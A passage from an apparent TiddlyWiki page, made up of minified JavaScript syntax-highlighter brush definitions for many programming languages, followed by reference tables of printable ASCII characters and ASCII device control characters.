namespace new noinline noreturn nothrow "+"register reinterpret_cast return selectany "+"sizeof static static_cast struct switch template this "+"thread throw true false try typedef typeid typename union "+"using uuid virtual void volatile whcar_t while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^ *#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"datatypes"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-cpp";this.Style=".dp-cpp .datatypes { color: #2E8B57; font-weight: bold; }"};dp.sh.Brushes.Cpp.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Cpp.Aliases=["cpp","c","c++"];dp.sh.Brushes.CSharp=function(){var $="abstract as base bool break byte case catch char checked class const "+"continue decimal default delegate do double else enum event explicit "+"extern false finally fixed float for foreach get goto if implicit in int "+"interface internal is lock long namespace new null object operator out "+"override params private protected public readonly ref return sbyte sealed set "+"short sizeof stackalloc static string struct switch this throw true try "+"typeof uint ulong unchecked unsafe ushort using virtual void while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c";this.Style=".dp-c .vars { color: #d00; }"};dp.sh.Brushes.CSharp.prototype=new dp.sh.Highlighter();dp.sh.Brushes.CSharp.Aliases=["c#","c-sharp","csharp"];dp.sh.Brushes.CSS=function(){var _="ascent azimuth background-attachment background-color background-image background-position "+"background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top "+"border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color "+"border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width "+"border-bottom-width border-left-width border-width border cap-height caption-side centerline clear clip color "+"content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display "+"elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font "+"height letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top "+"margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans "+"outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page "+"page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position "+"quotes richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress "+"table-layout text-align text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em "+"vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index",$="above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder "+"both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed "+"continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double "+"embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia "+"gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic "+"justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha "+"lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower "+"navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset "+"outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side "+"rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow "+"small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize "+"table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal "+"text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin "+"upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow",A="[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif";this.regexList=[{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\#[a-zA-Z0-9]{3,6}","g"),css:"value"},{regex:new RegExp("(-?\\d+)(.\\d+)?(px|em|pt|:|%|)","g"),css:"value"},{regex:new RegExp("!important","g"),css:"important"},{regex:new RegExp(this.GetKeywordsCSS(_),"gm"),css:"keyword"},{regex:new RegExp(this.GetValuesCSS($),"g"),css:"value"},{regex:new RegExp(this.GetValuesCSS(A),"g"),css:"value"}];this.CssClass="dp-css";this.Style=".dp-css .value { color: black; }"+".dp-css .important { color: red; }"};dp.sh.Highlighter.prototype.GetKeywordsCSS=function($){return"\\b([a-z_]|)"+$.replace(/ /g,"(?=:)\\b|\\b([a-z_\\*]|\\*|)")+"(?=:)\\b"};dp.sh.Highlighter.prototype.GetValuesCSS=function($){return"\\b"+$.replace(/ /g,"(?!-)(?!:)\\b|\\b()")+":\\b"};dp.sh.Brushes.CSS.prototype=new dp.sh.Highlighter();dp.sh.Brushes.CSS.Aliases=["css"];dp.sh.Brushes.Delphi=function(){var $="abs addr and ansichar ansistring array as asm begin boolean byte cardinal "+"case char class comp const constructor currency destructor div do double "+"downto else end except exports extended false file finalization finally "+"for function goto if implementation in inherited int64 initialization "+"integer interface is label library longint longword mod nil not object "+"of on or packed pansichar pansistring pchar pcurrency pdatetime pextended "+"pint64 pointer private procedure program property pshortstring pstring "+"pvariant pwidechar pwidestring protected public published raise real real48 "+"record repeat set shl shortint shortstring shr single smallint string then "+"threadvar to true try type unit until uses val var varirnt while widechar "+"widestring with word write writeln xor";this.regexList=[{regex:new RegExp("\\(\\*[\\s\\S]*?\\*\\)","gm"),css:"comment"},{regex:new RegExp("{(?!\\$)[\\s\\S]*?}","gm"),css:"comment"},{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\{\\$[a-zA-Z]+ .+\\}","g"),css:"directive"},{regex:new RegExp("\\b[\\d\\.]+\\b","g"),css:"number"},{regex:new RegExp("\\$[a-zA-Z0-9]+\\b","g"),css:"number"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-delphi";this.Style=".dp-delphi .number { color: blue; }"+".dp-delphi .directive { color: #008284; }"+".dp-delphi .vars { color: #000; }"};dp.sh.Brushes.Delphi.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Delphi.Aliases=["delphi","pascal"];dp.sh.Brushes.Java=function(){var $="abstract assert boolean break byte case catch char class const "+"continue default do double else enum extends "+"false final finally float for goto if implements import "+"instanceof int interface long native new null "+"package private protected public return "+"short static strictfp super switch synchronized this throw throws true "+"transient try void volatile while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b","gi"),css:"number"},{regex:new RegExp("(?!\\@interface\\b)\\@[\\$\\w]+\\b","g"),css:"annotation"},{regex:new RegExp("\\@interface\\b","g"),css:"keyword"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-j";this.Style=".dp-j .annotation { color: #646464; }"+".dp-j .number { color: #C00000; }"};dp.sh.Brushes.Java.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Java.Aliases=["java"];dp.sh.Brushes.JScript=function(){var $="abstract boolean break byte case catch char class const continue debugger "+"default delete do double else enum export extends false final finally float "+"for function goto if implements import in instanceof int interface long native "+"new null package private protected public return short static super switch "+"synchronized this throw throws transient true try typeof var void volatile while with";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c"};dp.sh.Brushes.JScript.prototype=new dp.sh.Highlighter();dp.sh.Brushes.JScript.Aliases=["js","jscript","javascript"];dp.sh.Brushes.Lua=function(){var $="break do end else elseif function if local nil not or repeat return and then until while this",_="math\\.\\w+ string\\.\\w+ os\\.\\w+ debug\\.\\w+ io\\.\\w+ error fopen dofile coroutine\\.\\w+ arg getmetatable ipairs loadfile loadlib loadstring longjmp print rawget rawset seek setmetatable assert tonumber tostring";this.regexList=[{regex:new RegExp("--\\[\\[[\\s\\S]*\\]\\]--","gm"),css:"comment"},{regex:new RegExp("--[^\\[]{2}.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"func"},];this.CssClass="dp-lua"};dp.sh.Brushes.Lua.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Lua.Aliases=["lua"];dp.sh.Brushes.Mxml=function(){this.CssClass="dp-mxml";this.Style=".dp-mxml .cdata { color: #000000; }"+".dp-mxml .tag { color : #0000ff; }"+".dp-mxml .tag-name { color: #0000ff; }"+".dp-mxml .script { color: green; }"+".dp-mxml .metadata { color: green; }"+".dp-mxml .attribute { color: #000000; }"+".dp-mxml .attribute-value { color: #990000; }"+".dp-mxml .trace { color: #cc6666; }"+".dp-mxml .var { color: #6699cc; }"+".dp-mxml .comment { color: #009900; }"+".dp-mxml .string { color: #990000; }"+".dp-mxml .keyword { color: blue; }"};dp.sh.Brushes.Mxml.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Mxml.Aliases=["mxml"];dp.sh.Brushes.Mxml.prototype.ProcessRegexList=function(){function H(_,$){_[_.length]=$}function B(B,_){var A=0,$=false;for(A=0;A<B.length;A++)if(_.index>B[A].firstIndex&&_.index<B[A].lastIndex)$=true;return $}var $=0,F=null,D=null,A=null,C="",E=new Array(),_="abstract boolean break byte case catch char class const continue debugger "+"default delete do double else enum export extends false final finally float "+"for function goto if implements import in instanceof int interface long native "+"new null package private protected public return short static super switch "+"synchronized this throw throws transient true try typeof var void volatile while with",G=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords("trace"),"gm"),css:"trace"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"keyword"}];A=new RegExp("<\\!\\[CDATA\\[(.|\\s)*?\\]\\]>","gm");while((F=A.exec(this.code))!=null){C=F[0].substr(0,12);H(this.matches,new dp.sh.Match(C,F.index,"cdata"));C=F[0].substr(12,F[0].length-12-6);for(var I=0;I<G.length;I++)while((D=G[I].regex.exec(C))!=null)H(this.matches,new dp.sh.Match(D[0],F.index+12+D.index,G[I].css));C=F[0].substr(F[0].length-6,6);H(this.matches,new dp.sh.Match(C,F.index+F[0].length-6,"cdata"));E.push({firstIndex:F.index,lastIndex:F.index+F[0].length-1})}this.GetMatches(new RegExp("(<|<)!--\\s*.*?\\s*--(>|>)","gm"),"comments");A=new RegExp("([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?'|\\w+)*|(\\w+)","gm");while((F=A.exec(this.code))!=null){if(F[1]==null)continue;if(B(E,F))continue;H(this.matches,new dp.sh.Match(F[1],F.index,"attribute"));if(F[2]!=undefined)H(this.matches,new dp.sh.Match(F[2],F.index+F[0].indexOf(F[2]),"attribute-value"))}A=new RegExp("(?:<|<)/*\\?*\\s*([:\\w-.]+)","gm");while((F=A.exec(this.code))!=null){if(B(E,F))continue;C=F[0].substr(4,F[0].length-4);switch(C){case"mx:Script":case"/mx:Script":H(this.matches,new dp.sh.Match(F[0]+">",F.index,"script"));break;case"mx:Metadata":case"/mx:Metadata":H(this.matches,new dp.sh.Match(F[0]+">",F.index,"metadata"));break;default:H(this.matches,new dp.sh.Match(F[0],F.index,"tag-name"));break}}A=new RegExp("\\?>|>|/>","gm");while((F=A.exec(this.code))!=null){if(B(E,F))continue;H(this.matches,new dp.sh.Match(F[0],F.index,"tag"))}};dp.sh.Brushes.Perl=function(){var _="abs accept alarm atan2 bind binmode bless caller chdir chmod chomp chop chown chr chroot close closedir connect cos crypt dbmclose dbmopen defined delete dump each endgrent endhostent endnetent endprotoent endpwent endservent eof exec exists exp fcntl fileno flock fork format formline getc getgrent getgrgid getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr getnetbyname getnetent getpeername getpgrp getppid getpriority getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid getservbyname getservbyport getservent getsockname getsockopt glob gmtime grep hex import index int ioctl join keys kill lc lcfirst length link listen localtime lock log lstat m map mkdir msgctl msgget msgrcv msgsnd no oct open opendir ord pack pipe pop pos print printf prototype push q qq quotemeta qw qx rand read readdir readline readlink readpipe recv ref rename reset reverse rewinddir rindex rmdir scalar seek seekdir semctl semget semop send setgrent sethostent setnetent setpgrp setpriority setprotoent setpwent setservent setsockopt shift shmctl shmget shmread shmwrite shutdown sin sleep socket socketpair sort splice split sprintf sqrt srand stat study sub substr symlink syscall sysopen sysread sysseek system syswrite tell telldir tie tied time times tr truncate uc ucfirst umask undef unlink unpack unshift untie utime values vec waitpid wantarray warn write qr",$="s select goto die do package redo require return continue for foreach last next wait while use if else elsif eval exit unless switch case",A="my our local";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("(\\$|@|%)\\w+","g"),css:"vars"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(A),"gm"),css:"declarations"}];this.CssClass="dp-perl"};dp.sh.Brushes.Perl.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Perl.Aliases=["perl"];dp.sh.Brushes.Php=function(){var _="abs acos acosh addcslashes addslashes "+"array_change_key_case array_chunk array_combine array_count_values array_diff "+"array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill "+"array_filter array_flip array_intersect array_intersect_assoc array_intersect_key "+"array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map "+"array_merge array_merge_recursive array_multisort array_pad array_pop array_product "+"array_push array_rand array_reduce array_reverse array_search array_shift "+"array_slice array_splice array_sum array_udiff array_udiff_assoc "+"array_udiff_uassoc array_uintersect array_uintersect_assoc "+"array_uintersect_uassoc array_unique array_unshift array_values array_walk "+"array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert "+"basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress "+"bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir "+"checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists "+"closedir closelog copy cos cosh count count_chars date decbin dechex decoct "+"deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log "+"error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded "+"feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents "+"fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype "+"floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf "+"fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname "+"gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt "+"getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext "+"gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set "+"interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double "+"is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long "+"is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault "+"is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br "+"parse_ini_file parse_str parse_url passthru pathinfo readlink realpath rewind rewinddir rmdir "+"round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split "+"str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes "+"stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk "+"strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime "+"strtoupper strtr strval substr substr_compare",$="and or xor __FILE__ __LINE__ array as break case "+"cfunction class const continue declare default die do else "+"elseif empty enddeclare endfor endforeach endif endswitch endwhile "+"extends for foreach function include include_once global if "+"new old_function return static switch use require require_once "+"var while __FUNCTION__ __CLASS__ "+"__METHOD__ abstract interface public implements extends private protected throw";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\$\\w+","g"),css:"vars"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c"};dp.sh.Brushes.Php.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Php.Aliases=["php"];dp.sh.Brushes.Python=function(){var $="and assert break class continue def del elif else "+"except exec finally for from global if import in is "+"lambda not or pass print raise return try yield while",_="None True False self cls class_";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:new RegExp("^\\s*@\\w+","gm"),css:"decorator"},{regex:new RegExp("(['\"]{3})([^\\1])*?\\1","gm"),css:"comment"},{regex:new RegExp("\"(?!\")(?:\\.|\\\\\\\"|[^\\\"\"\\n\\r])*\"","gm"),css:"string"},{regex:new RegExp("'(?!')*(?:\\.|(\\\\\\')|[^\\''\\n\\r])*'","gm"),css:"string"},{regex:new RegExp("\\b\\d+\\.?\\w*","g"),css:"number"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"special"}];this.CssClass="dp-py";this.Style=".dp-py .builtins { color: #ff1493; }"+".dp-py .magicmethods { color: #808080; }"+".dp-py .exceptions { color: brown; }"+".dp-py .types { color: brown; font-style: italic; }"+".dp-py .commonlibs { color: #8A2BE2; font-style: italic; }"};dp.sh.Brushes.Python.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Python.Aliases=["py","python"];dp.sh.Brushes.Ruby=function(){var $="alias and BEGIN begin break case class def define_method defined do each else elsif "+"END end ensure false for if in module new next nil not or raise redo rescue retry return "+"self super then throw true undef unless until when while yield",_="Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload "+"Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol "+"ThreadGroup Thread Time TrueClass";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(":[a-z][A-Za-z0-9_]*","g"),css:"symbol"},{regex:new RegExp("(\\$|@@|@)\\w+","g"),css:"variable"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"}];this.CssClass="dp-rb";this.Style=".dp-rb .symbol { color: #a70; }"+".dp-rb .variable { color: #a70; font-weight: bold; }"};dp.sh.Brushes.Ruby.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Ruby.Aliases=["ruby","rails","ror"];dp.sh.Brushes.Sql=function(){var _="abs avg case cast coalesce convert count current_timestamp "+"current_user day isnull left lower month nullif replace right "+"session_user space substring sum system_user upper user year",$="absolute action add after alter as asc at authorization begin bigint "+"binary bit by cascade char character check checkpoint close collate "+"column commit committed connect connection constraint contains continue "+"create cube current current_date current_time cursor database date "+"deallocate dec decimal declare default delete desc distinct double drop "+"dynamic else end end-exec escape except exec execute false fetch first "+"float for force foreign forward free from full function global goto grant "+"group grouping having hour ignore index inner insensitive insert instead "+"int integer intersect into is isolation key last level load local max min "+"minute modify move name national nchar next no numeric of off on only "+"open option order out output partial password precision prepare primary "+"prior privileges procedure public read real references relative repeatable "+"restrict return returns revoke rollback rollup rows rule schema scroll "+"second section select sequence serializable set size smallint static "+"statistics table temp temporary then time timestamp to top transaction "+"translation trigger true truncate uncommitted union unique update values "+"varchar varying view when where with work",A="all and any between cross in join like not null or outer some";this.regexList=[{regex:new RegExp("--(.*)$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords(A),"gmi"),css:"op"},{regex:new RegExp(this.GetKeywords($),"gmi"),css:"keyword"}];this.CssClass="dp-sql";this.Style=".dp-sql .func { color: #ff1493; }"+".dp-sql .op { color: #808080; }"};dp.sh.Brushes.Sql.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Sql.Aliases=["sql"];dp.sh.Brushes.Vb=function(){var $="AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto "+"Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate "+"CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType "+"Date Decimal Declare Default Delegate Dim DirectCast Do Double Each "+"Else ElseIf End Enum Erase Error Event Exit False Finally For Friend "+"Function Get GetType GoSub GoTo Handles If Implements Imports In "+"Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module "+"MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing "+"NotInheritable NotOverridable Object On Option Optional Or OrElse "+"Overloads Overridable Overrides ParamArray Preserve Private Property "+"Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume "+"Return Select Set Shadows Shared Short Single Static Step Stop String "+"Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until "+"Variant When While With WithEvents WriteOnly Xor";this.regexList=[{regex:new RegExp("'.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-vb"};dp.sh.Brushes.Vb.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Vb.Aliases=["vb","vb.net"];dp.sh.Brushes.Xml=function(){this.CssClass="dp-xml";this.Style=".dp-xml .cdata { color: #ff1493; }"+".dp-xml .tag, .dp-xml .tag-name { color: #069; font-weight: bold; }"+".dp-xml .attribute { color: red; }"+".dp-xml .attribute-value { color: blue; }"};dp.sh.Brushes.Xml.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Xml.Aliases=["xml","xhtml","xslt","html","xhtml"];dp.sh.Brushes.Xml.prototype.ProcessRegexList=function(){function B(_,$){_[_.length]=$}var $=0,A=null,_=null;this.GetMatches(new RegExp("(<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](>|>)","gm"),"cdata");this.GetMatches(new RegExp("(<|<)!--\\s*.*?\\s*--(>|>)","gm"),"comments");_=new RegExp("([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?'|\\w+)*|(\\w+)","gm");while((A=_.exec(this.code))!=null){if(A[1]==null)continue;B(this.matches,new dp.sh.Match(A[1],A.index,"attribute"));if(A[2]!=undefined)B(this.matches,new dp.sh.Match(A[2],A.index+A[0].indexOf(A[2]),"attribute-value"))}this.GetMatches(new RegExp("(<|<)/*\\?*(?!\\!)|/*\\?*(>|>)","gm"),"tag");_=new RegExp("(?:<|<)/*\\?*\\s*([:\\w-.]+)","gm");while((A=_.exec(this.code))!=null)B(this.matches,new dp.sh.Match(A[1],A.index+A[0].indexOf(A[1]),"tag-name"))}
//}}}
<<allTags excludeLists [a-z]>>
!7-BIT Printable ASCII Characters
|Number |Character |Description|
|32 |{{{ }}}|space|
|33 |{{{! }}}|exclamation mark|
|34 |{{{" }}}|quotation mark|
|35 |{{{# }}}|number sign|
|36 |{{{$ }}}|dollar sign|
|37 |{{{% }}}|percent sign|
|38 |{{{& }}}|ampersand|
|39 |{{{' }}}|apostrophe|
|40 |{{{( }}}|left parenthesis|
|41 |{{{) }}}|right parenthesis|
|42 |{{{* }}}|asterisk|
|43 |{{{+ }}}|plus sign|
|44 |{{{, }}}|comma|
|45 |{{{- }}}|hyphen|
|46 |{{{. }}}|period|
|47 |{{{/ }}}|slash|
|48 |{{{0 }}}|digit 0|
|49 |{{{1 }}}|digit 1|
|50 |{{{2 }}}|digit 2|
|51 |{{{3 }}}|digit 3|
|52 |{{{4 }}}|digit 4|
|53 |{{{5 }}}|digit 5|
|54 |{{{6 }}}|digit 6|
|55 |{{{7 }}}|digit 7|
|56 |{{{8 }}}|digit 8|
|57 |{{{9 }}}|digit 9|
|58 |{{{: }}}|colon|
|59 |{{{; }}}|semicolon|
|60 |{{{< }}}|less-than|
|61 |{{{= }}}|equals-to|
|62 |{{{> }}}|greater-than|
|63 |{{{? }}}|question mark|
|64 |{{{@ }}}|at sign|
|65 |{{{A }}}|uppercase A|
|66 |{{{B }}}|uppercase B|
|67 |{{{C }}}|uppercase C|
|68 |{{{D }}}|uppercase D|
|69 |{{{E }}}|uppercase E|
|70 |{{{F }}}|uppercase F|
|71 |{{{G }}}|uppercase G|
|72 |{{{H }}}|uppercase H|
|73 |{{{I }}}|uppercase I|
|74 |{{{J }}}|uppercase J|
|75 |{{{K }}}|uppercase K|
|76 |{{{L }}}|uppercase L|
|77 |{{{M }}}|uppercase M|
|78 |{{{N }}}|uppercase N|
|79 |{{{O }}}|uppercase O|
|80 |{{{P }}}|uppercase P|
|81 |{{{Q }}}|uppercase Q|
|82 |{{{R }}}|uppercase R|
|83 |{{{S }}}|uppercase S|
|84 |{{{T }}}|uppercase T|
|85 |{{{U }}}|uppercase U|
|86 |{{{V }}}|uppercase V|
|87 |{{{W }}}|uppercase W|
|88 |{{{X }}}|uppercase X|
|89 |{{{Y }}}|uppercase Y|
|90 |{{{Z }}}|uppercase Z|
|91 |{{{[ }}}|left square bracket|
|92 |{{{\ }}}|backslash|
|93 |{{{] }}}|right square bracket|
|94 |{{{^ }}}|caret|
|95 |{{{_ }}}|underscore|
|96 |{{{` }}}|grave accent|
|97 |{{{a }}}|lowercase a|
|98 |{{{b }}}|lowercase b|
|99 |{{{c }}}|lowercase c|
|100 |{{{d }}}|lowercase d|
|101 |{{{e }}}|lowercase e|
|102 |{{{f }}}|lowercase f|
|103 |{{{g }}}|lowercase g|
|104 |{{{h }}}|lowercase h|
|105 |{{{i }}}|lowercase i|
|106 |{{{j }}}|lowercase j|
|107 |{{{k }}}|lowercase k|
|108 |{{{l }}}|lowercase l|
|109 |{{{m }}}|lowercase m|
|110 |{{{n }}}|lowercase n|
|111 |{{{o }}}|lowercase o|
|112 |{{{p }}}|lowercase p|
|113 |{{{q }}}|lowercase q|
|114 |{{{r }}}|lowercase r|
|115 |{{{s }}}|lowercase s|
|116 |{{{t }}}|lowercase t|
|117 |{{{u }}}|lowercase u|
|118 |{{{v }}}|lowercase v|
|119 |{{{w }}}|lowercase w|
|120 |{{{x }}}|lowercase x|
|121 |{{{y }}}|lowercase y|
|122 |{{{z }}}|lowercase z|
|123 |{{{{ }}}|left curly brace|
|124 || |vertical bar|
|125 |{{{} }}}|right curly brace|
|126 |{{{~ }}}|tilde|
!7-BIT ASCII Device Control Characters
ASCII device control characters were originally designed to control hardware devices like teletypes, printers and tape drives.
These characters have nothing to do inside an HTML document:
|Number |Name |Description|
|0 |{{{NUL }}}|null character|
|1 |{{{SOH }}}|start of header|
|2 |{{{STX }}}|start of text|
|3 |{{{ETX }}}|end of text|
|4 |{{{EOT }}}|end of transmission|
|5 |{{{ENQ }}}|enquiry|
|6 |{{{ACK }}}|acknowledge|
|7 |{{{BEL }}}|bell (ring)|
|8 |{{{BS }}}|backspace|
|9 |{{{HT }}}|horizontal tab|
|10 |{{{LF }}}|line feed|
|11 |{{{VT }}}|vertical tab|
|12 |{{{FF }}}|form feed|
|13 |{{{CR }}}|carriage return|
|14 |{{{SO }}}|shift out|
|15 |{{{SI }}}|shift in|
|16 |{{{DLE }}}|data link escape|
|17 |{{{DC1 }}}|device control 1|
|18 |{{{DC2 }}}|device control 2|
|19 |{{{DC3 }}}|device control 3|
|20 |{{{DC4 }}}|device control 4|
|21 |{{{NAK }}}|negative acknowledge|
|22 |{{{SYN }}}|synchronize|
|23 |{{{ETB }}}|end transmission block|
|24 |{{{CAN }}}|cancel|
|25 |{{{EM }}}|end of medium|
|26 |{{{SUB }}}|substitute|
